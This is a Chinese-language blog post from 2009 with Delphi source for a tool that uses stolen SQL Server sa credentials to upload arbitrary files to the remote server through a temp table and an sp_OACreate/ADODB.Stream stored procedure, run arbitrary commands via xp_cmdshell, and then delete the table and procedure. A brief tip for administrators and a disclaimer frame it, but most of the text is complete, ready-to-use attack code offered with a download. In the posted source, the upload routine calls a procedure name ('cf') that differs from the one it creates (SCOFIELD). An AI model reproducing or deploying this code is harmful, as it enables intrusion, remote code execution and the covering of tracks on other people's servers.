通過SQL SERVER遠端上傳檔案的實現

iSQlServer發表於2009-05-25
我記得有一種黑客工具,在得到對方SQL SERVER伺服器的SA帳號和密碼後竟可以通過它上傳檔案到對方
伺服器上面,並遠端執行DOS命令。當時覺得很好奇,當然作為程式設計師的我覺得很不爽,
趕快對SQL SERVER進行了一番研究,並整理出了這篇文章,希望對一些程式新手會有幫助。
寫過資料庫程式的朋友應該知道,我們可以往資料庫中存取各種型別的資料資料
比如文字,整型,二進位制等資料。
在這裡通過SQL SERVER伺服器遠端上傳檔案的思路就是,
1、先通過SQL語句,在對方伺服器上建立一臨時表,
下面是建立臨時表的過程:
procedure  Create_temptable;
begin
  try
    query1.Close;
    query1.SQL.Clear;
    query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');
    query1.SQL.Add('drop table [dbo].[temptable]');
    query1.SQL.Add('CREATE TABLE [dbo].[temptable] (');
    query1.SQL.Add('[filename] [varchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,');
    query1.SQL.Add('[ny] [image] NULL');
    query1.SQL.Add(') ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]');
    query1.ExecSQL;
    except
        on e:exception do
        raise exception.Create(pchar('執行失敗!下面是錯誤資訊:'+#13+e.Message+#13 ));
    end;
end;
在建立表時,我建立了兩個欄位,filename欄位儲存檔案的檔名,ny欄位儲存檔案的二進位制資料。
2、往臨時表內插入檔案
procedure insert_file(filename:string);
  var
  openfile:tfilestream;
begin
try
      openfile:=tfilestream.Create(filename,FmOpenRead); //建立檔案流
      query1.Close;
      query1.SQL.Clear;
      query1.sql.Add('insert into temptable (filename,ny) values(:x,:y)');
      query1.Parameters.ParamByName('x').Value:=ExtractFileName(filename);
      query1.Parameters.ParamByName('y').LoadFromStream(openfile,ftBlob);
      query1.ExecSQL;
finally
    freeandnil(openfile);
end;
end;
3、插入檔案之後,就應該讓伺服器,自動去讀取臨時表內的內容,並把表內的二進位制資料轉儲為檔案,
這樣就達到了將檔案上傳到伺服器的目的。
我們知道,儲存過程一般在伺服器上執行,所以這個任務就交給儲存過程啦,當然這個儲存過程我們要自行建立才行,
它的作用就是從臨時表內讀出資料並儲存為檔案
下面的過程就是通過SQL語句在伺服器上面建立儲存過程。
procedure Create_proc; //建立儲存檔案儲存過程。
begin
    try
       query1.Close;
       query1.SQL.Clear;
       query1.SQL.Add('CREATE PROCEDURE SCOFIELD');  //儲存過程名
       query1.SQL.Add('as');
       query1.SQL.Add('begin');
       query1.SQL.Add('DECLARE @myRecordset int,@Stream int,@Len int,@i int');       //--定義記錄集,檔案長度
       query1.SQL.Add('DECLARE @value binary(8000)');                               //--存放資料
       query1.SQL.Add('DECLARE @constr varchar(200),@sql varchar(200)');
       query1.SQL.Add('declare @filename varchar(200)');
       query1.SQL.Add('set @constr=''Provider=SQLOLEDB.1;Data Source=(local);Initial Catalog=master;Integrated Security=SSPI;''');
       query1.SQL.Add('set @sql=''select * from temptable''');
       query1.SQL.Add('EXEC sp_OACreate ''ADODB.Recordset'',@myRecordset OUT');
       query1.SQL.Add('EXEC sp_OAMethod @myRecordset,''open'',null,@sql,@constr');
       query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(0).value'',@filename out');  //取出上傳的檔名
       query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).ActualSize'',@len out');
       query1.SQL.Add('EXEC sp_OACreate ''ADODB.Stream'', @Stream OUT');// --建立資料流
       query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''mode'',3'); //--讀/寫狀態
       query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''type'',1');// --1是流 2是文字
       query1.SQL.Add('EXEC sp_OAMethod @Stream,''open''');        // --開啟流
       query1.SQL.Add('set @i=0');
       query1.SQL.Add('while @Len > @i');// --迴圈寫入資料
       query1.SQL.Add('begin');
       query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).GetChunk'', @Value OUT,8000');
       query1.SQL.Add('EXEC sp_OAMethod @Stream,''write'',null,@Value'); // --寫入流
       query1.SQL.Add('set @i=@i+8000');
       query1.SQL.Add('end');
       query1.SQL.Add('EXEC sp_OASetProperty @Stream,''Position'',@Len');// --移動資料到結尾處
       query1.SQL.Add('EXEC sp_OAMethod @Stream,''SetEos''');           // --截斷資料
       // query1.SQL.Add('set @filename=''c:\ '' + @filename');         // --儲存路徑,不設定將儲存在SYSTEM32下面
       query1.SQL.Add('EXEC sp_OAMethod @Stream,''SaveToFile'',null,@filename,2');   //--儲存為檔案
       query1.SQL.Add('exec sp_OADestroy @myRecordset');
       query1.SQL.Add('exec sp_OADestroy @Stream');
       query1.SQL.Add('select utput=''命令成功''');
       query1.SQL.Add('end');
       query1.ExecSQL;
    except
    end;
end;
­
4、儲存檔案的儲存過程我們也建好了,
也到了執行它的時候了....
下面這個過程是用來執行儲存過程的
procedure Create_file; //執行儲存過程建立檔案
begin
     try
        query1.Close;
        query1.SQL.Clear;
        query1.sql.Add('exec SCOFIELD');  //執行儲存過程
        query1.ExecSQL;
     except
     end;
end;
執行完儲存過程後,我們的檔案就己經上傳OK啦,
不過不擦屁股可不是好習慣,
我們還應該刪除剛才建立的臨時表和儲存過程。
刪除臨時表的過程:
procedure Del_temptable;  //刪除臨時表
begin
  try
    query1.Close;
    query1.SQL.Clear;
    query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');
    query1.SQL.Add('drop table [dbo].[temptable]');
    query1.ExecSQL;
    except
        on e:exception do
        raise exception.Create(pchar('執行失敗!下面是錯誤資訊:'+#13+e.Message+#13 ));
    end;
end;
刪除儲存過程的過程:
procedure del_proc;  
  begin
     try
        query1.Close;
        query1.SQL.Clear;
        query1.sql.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[SCOFIELD]'') and OBJECTPROPERTY(id, N''IsProcedure'') = 1)');
        query1.sql.Add('drop procedure [dbo].[SCOFIELD]');  
        query1.ExecSQL;
     except
     end;
  end;
­
大功告成,現在你發現只要按照上面過程的執行順序執行,就可以順利的通過SQL SERVER上傳檔案到伺服器了。
上面的QUERY1物件是DELPHI中的ADOQUERY控制元件,如果你還不會使用,請先去翻翻書。
下面再來研究一下如何通過SQL SERVER 遠端地執行DOS命令,
其實很簡單,在SQLSERVER中,有一xp_cmdshell的儲存過程,
通過該儲存過程,我們可以在通過SQL SERVER在伺服器上執行任何的DOS命令,
通過SQL語句的執行,我們可以很方便地在對方伺服器上面執行DOS命令,
像這樣:
  query1.Close;
  query1.SQL.Clear;
  query1.SQL.Add('exec master..xp_cmdshell '''+ 這裡存放的就是要執行的DOS命令了 +'''';);
  query1.open;
一條SQL語句搞定。
如果你是一名網路管理員,為了伺服器的安全請檢查你的SQL SERVER是否還存在此儲存過程。
如果有刪除它就行了,不會有什麼影響,或是解除安裝xpsql70.dll這個動態連結庫就OK了。
­
為此,我將自己平常用的的一個SQL查詢器也加上了此功能,並貼上原始碼,希望能夠一些程式新手帶來幫助。
下面是查詢器的原始碼:
unit Unit1;
//------------------------------------------------------------------------------
// Author      : SCOFIELD QQ:19154194
// UpDate     : 2009-05-20
// Name        : SCOFIELD SQL 查詢器
// Version     : 1.0.0.0
//------------------------------------------------------------------------------
interface
uses
  Windows, Messages, SysUtils, Forms,
  StdCtrls, DB, ADODB, DBGridEh,xpman,
  DBGRids,DBGridEhImpExp, Classes, Dialogs, ExtCtrls, Grids, Controls;
type
  TForm1 = class(TForm)
    Label1: TLabel;
    Button1: TButton;
    memo1: TMemo;
    con1: TADOConnection;
    Query1: TADOQuery;
    GroupBox1: TGroupBox;
    GroupBox2: TGroupBox;
    GroupBox3: TGroupBox;
    DBGridEh1: TDBGridEh;
    Panel1: TPanel;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    DataSource1: TDataSource;
    Button5: TButton;
    Button6: TButton;
    Open1: TOpenDialog;
    Edit1: TEdit;
    Label2: TLabel;
    Label3: TLabel;
    ComboBox1: TComboBox;
    ComboBox2: TComboBox;
    Query2: TADOQuery;
    Button7: TButton;
    SaveDialog1: TSaveDialog;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button6Click(Sender: TObject);
    procedure Create_temptable; //建立臨時表
    procedure Del_temptable;
    procedure insert_file(filename:string); //插入檔案
    procedure Create_file; //建立檔案
    procedure Create_proc;
    procedure del_proc;
    procedure Button7Click(Sender: TObject);
    procedure ComboBox1Change(Sender: TObject);
    procedure FormCreate(Sender: TObject);  //刪除儲存過程。
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
  ip,name,pwd,sql,table:string;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
  if (combobox1.Text='表名') and (trim(memo1.Lines.Text)='') then exit;
   //查詢時顯示列頭標題
  DBGridEh1.Options:=DBGridEh1.Options+[dgTitles]  ;
try
query1.Close;
query1.SQL.Clear;
  if trim(memo1.Lines.Text)='' then begin
       if (combobox1.Text<>'表名') and (combobox1.text<>'') then begin
            if (combobox2.text<>'欄位名') and (combobox2.Text<>'')  then
                sql:='select '+combobox2.Text+' from '+combobox1.Text
            else
                sql:='select * from '+combobox1.Text;
       end;
  end
  else
  begin
      sql:=memo1.Lines.Text;
  end;
  query1.SQL.Add(sql);
  query1.OPEN;
  if query1.RecordCount>0 then button7.Enabled:=true else button7.Enabled:=false;
  except
   on e:exception do
   raise exception.Create(pchar('執行失敗!下面是錯誤資訊:'+#13+e.Message+#13 ));
   end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
  if (combobox1.Text='表名') and (trim(memo1.Lines.Text)='') then exit;
try
  sql:=memo1.Lines.Text;
  query1.Close;
  query1.SQL.Clear;
  query1.SQL.Add(sql);
  query1.ExecSQL;
  except
   on e:exception do
   raise exception.Create(pchar('執行失敗!下面是錯誤資訊:'+#13+e.Message+#13 ));
   end;
  application.MessageBox ('執行成功','執行成功',mb_ok);
end;
procedure TForm1.Button5Click(Sender: TObject);
var
constr:string;
i:integer;
TableList:TStringList;
begin
   TableList:=Tstringlist.Create;
   constr:=PromptDataSource(Handle,'');
  if constr='' then  begin
      button1.Enabled:=false;
      button2.Enabled:=false;
      button3.Enabled:=false;
      button6.Enabled:=false;
      exit;
  end
  else
  begin
         if pos('SQLOLEDB',constr)<>0 then begin  //如果為SQLSEVER,則顯示上傳按鈕
              button3.Enabled:=true;
              button6.Enabled:=true;
         end
         else
         begin
             button3.Enabled:=false;
             button6.Enabled:=false;
         end;
      button1.Enabled:=true;
      button2.Enabled:=true;
    
  end;
  edit1.Text:=constr;
    try
    con1.Close;
    query1.Close;
    con1.ConnectionString:=constr;
    con1.Open;
    query1.Connection:=con1;
    application.MessageBox ('連線成功','連線成功',mb_ok);
    except
    on e:exception do
       raise exception.Create(pchar('無法連線!下面是錯誤資訊:'+#13+e.Message+#13 ))
    end;
   //下面開始檢測表名
   con1.GetTableNames(TableList,false);
   combobox1.Items.Clear;
   combobox1.Items.AddStrings(Tablelist);
   combobox1.Text:='表名';
   combobox2.Items.Clear;
   combobox2.Text:='欄位名';
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
   DBGridEh1.Options:=DBGridEh1.Options-[dgTitles]  ;
try
  sql:='exec master..xp_cmdshell '''+memo1.Lines.Text+'''';
  query1.Close;
  query1.SQL.Clear;
  query1.SQL.Add(sql);
  query1.open;
  if query1.RecordCount>0 then button7.Enabled:=true else button7.Enabled:=false;
  except
   on e:exception do
   raise exception.Create(pchar('執行失敗!下面是錯誤資訊:'+#13+e.Message+#13 ));
   end;
­
­
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
memo1.Text:='';
end;
//上傳檔案到伺服器
procedure TForm1.Button6Click(Sender: TObject);
begin
if not open1.Execute then exit;
//下面建立臨時表
self.Create_temptable;
self.Create_proc; //建立儲存過程
self.insert_file(open1.FileName);  //插入檔案
self.Create_file; //執行儲存過程,下載檔案
self.Del_temptable;  //刪除臨時表
self.del_proc; //刪除儲存過程。
end;
procedure Tform1.Create_temptable; //建立臨時表
begin
  try
    query1.Close;
    query1.SQL.Clear;
    query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');
    query1.SQL.Add('drop table [dbo].[temptable]');
    query1.SQL.Add('CREATE TABLE [dbo].[temptable] (');
    query1.SQL.Add('[filename] [varchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,');
    query1.SQL.Add('[ny] [image] NULL');
    query1.SQL.Add(') ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]');
    query1.ExecSQL;
    except
        on e:exception do
        raise exception.Create(pchar('執行失敗!下面是錯誤資訊:'+#13+e.Message+#13 ));
    end;
end;
procedure Tform1.Del_temptable;  //刪除臨時表
begin
  try
    query1.Close;
    query1.SQL.Clear;
    query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');
    query1.SQL.Add('drop table [dbo].[temptable]');
    query1.ExecSQL;
    except
        on e:exception do
        raise exception.Create(pchar('執行失敗!下面是錯誤資訊:'+#13+e.Message+#13 ));
    end;
end;
procedure tform1.insert_file(filename:string); //插入檔案
  var
  openfile:tfilestream;
begin
try
     openfile:=tfilestream.Create(filename,FmOpenRead); //以只讀方式開啟;
      query1.Close;
      query1.SQL.Clear;
      query1.sql.Add('insert into temptable (filename,ny) values(:x,:y)');
      query1.Parameters.ParamByName('x').Value:=ExtractFileName(filename);
      query1.Parameters.ParamByName('y').LoadFromStream(openfile,ftBlob);
      query1.ExecSQL;
finally
    freeandnil(openfile);
end;
end;
procedure Tform1.Create_proc; //建立儲存過程。
begin
    try
       query1.Close;
       query1.SQL.Clear;
       query1.SQL.Add('CREATE PROCEDURE SCOFIELD');
       query1.SQL.Add('as');
       query1.SQL.Add('begin');
       query1.SQL.Add('DECLARE @myRecordset int,@Stream int,@Len int,@i int');       //--定義記錄集,檔案長度
       query1.SQL.Add('DECLARE @value binary(8000)');                               //--存放資料
       query1.SQL.Add('DECLARE @constr varchar(200),@sql varchar(200)');
       query1.SQL.Add('declare @filename varchar(200)');
       query1.SQL.Add('set @constr=''Provider=SQLOLEDB.1;Data Source=(local);Initial Catalog=master;Integrated Security=SSPI;''');
       query1.SQL.Add('set @sql=''select * from temptable''');
       query1.SQL.Add('EXEC sp_OACreate ''ADODB.Recordset'',@myRecordset OUT');
       query1.SQL.Add('EXEC sp_OAMethod @myRecordset,''open'',null,@sql,@constr');
       query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(0).value'',@filename out');   //取出檔名
       query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).ActualSize'',@len out');
       query1.SQL.Add('EXEC sp_OACreate ''ADODB.Stream'', @Stream OUT');// --建立資料流
       query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''mode'',3'); //--讀/寫狀態
       query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''type'',1');// --1是流 2是文字
       query1.SQL.Add('EXEC sp_OAMethod @Stream,''open''');        // --開啟流
       query1.SQL.Add('set @i=0');
       query1.SQL.Add('while @Len > @i');// --迴圈寫入資料
       query1.SQL.Add('begin');
       query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).GetChunk'', @Value OUT,8000');
       query1.SQL.Add('EXEC sp_OAMethod @Stream,''write'',null,@Value'); // --寫入流
       query1.SQL.Add('set @i=@i+8000');
       query1.SQL.Add('end');
       query1.SQL.Add('EXEC sp_OASetProperty @Stream,''Position'',@Len');// --移動資料到結尾處
       query1.SQL.Add('EXEC sp_OAMethod @Stream,''SetEos''');  // --截斷資料
      // query1.SQL.Add('set @filename=''c:\ '' + @filename');   // --儲存路徑
       query1.SQL.Add('EXEC sp_OAMethod @Stream,''SaveToFile'',null,@filename,2');   //--另存為檔案
       query1.SQL.Add('exec sp_OADestroy @myRecordset');
       query1.SQL.Add('exec sp_OADestroy @Stream');
       query1.SQL.Add('select utput=''命令成功''');
       query1.SQL.Add('end');
       query1.ExecSQL;
    except
    end;
end;
procedure TForm1.Create_file; //建立檔案 ,執行儲存過程。
begin
     try
        query1.Close;
        query1.SQL.Clear;
        query1.sql.Add('exec cf');
        query1.ExecSQL;
     except
     end;
end;
procedure Tform1.del_proc;  //刪除儲存過程。
  begin
     try
        query1.Close;
        query1.SQL.Clear;
        query1.sql.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[SCOFIELD]'') and OBJECTPROPERTY(id, N''IsProcedure'') = 1)');
        query1.sql.Add('drop procedure [dbo].[SCOFIELD]');
        query1.ExecSQL;
     except
     end;
  end;
­
//將查詢出來的資料儲存為EXCEL表格
procedure TForm1.Button7Click(Sender: TObject);
var
ExcelName:string;
begin
   if DBGridEh1.RowCount<=1 then exit;
   SaveDialog1.Filter:='Excel 檔案 (*.XLS)|*.XLS';
   if (combobox1.Text<>'表名') and (combobox1.Text<>'') then
   SaveDialog1.FileName := combobox1.Text else SaveDialog1.FileName:='book1';
   if SaveDialog1.Execute then begin
      ExcelName:=SaveDialog1.FileName+'.XLS';
       IF length(excelname)>0 THEN begin
           SaveDBGridEhToExportFile(TDBGridEhExportAsXLS, DBGridEh1,ExcelName, True);
           application.MessageBox ('儲存成功!','儲存EXCEL檔案成功',mb_ok+MB_ICONASTERISK);
       end;
  end;
end;
procedure TForm1.ComboBox1Change(Sender: TObject);
  var tablename:string;
      flist:Tstringlist;
begin
   if combobox1.Text='' then exit;
   tablename:=combobox1.Text;
   if tablename='表名' then exit;
   query2.Connection:=con1;
   query2.Close;
   query2.SQL.Clear;
   query2.SQL.Add('select top 1 * from '+tablename);
   query2.Open;
   flist:=Tstringlist.Create;
   //下面檢測欄位名
   query2.GetFieldNames(flist);
   combobox2.Items.Clear;
   combobox2.Items.AddStrings(flist);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
      button1.Enabled:=false;
      button2.Enabled:=false;
      button3.Enabled:=false;
      button6.Enabled:=false;
      button7.Enabled:=false;
end;
end.
程式中使用了DBGridEh控制元件,請自行下載,
程式寫的時候沒有考慮得很全面,歡迎大家對它改進,併發一份副本給我。
此查詢器可以檢視各種資料格式的資料庫檔案,並支援SQL語句的執行,自動檢測出資料庫內包含的各表名,欄位名,
並可將查詢出來的結果儲存為EXCEL表格。希望能給朋友們帶來工作上的幫助。
其中
COMMAND是用來執行DOS命令的,
Upload File是用來上傳檔案到對方SQL SERVER伺服器的
查詢器下載地址:
如果有任何疑問或問題,大家可以加我的QQ:19154194 進行交流。
以上文章和程式碼以及工具僅為學習和技術交流之用,如若有人利用上面的程式碼或工具從事非法活動,一概與本人無關。
 

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/16436858/viewspace-604071/,如需轉載,請註明出處,否則將追究法律責任。

相關文章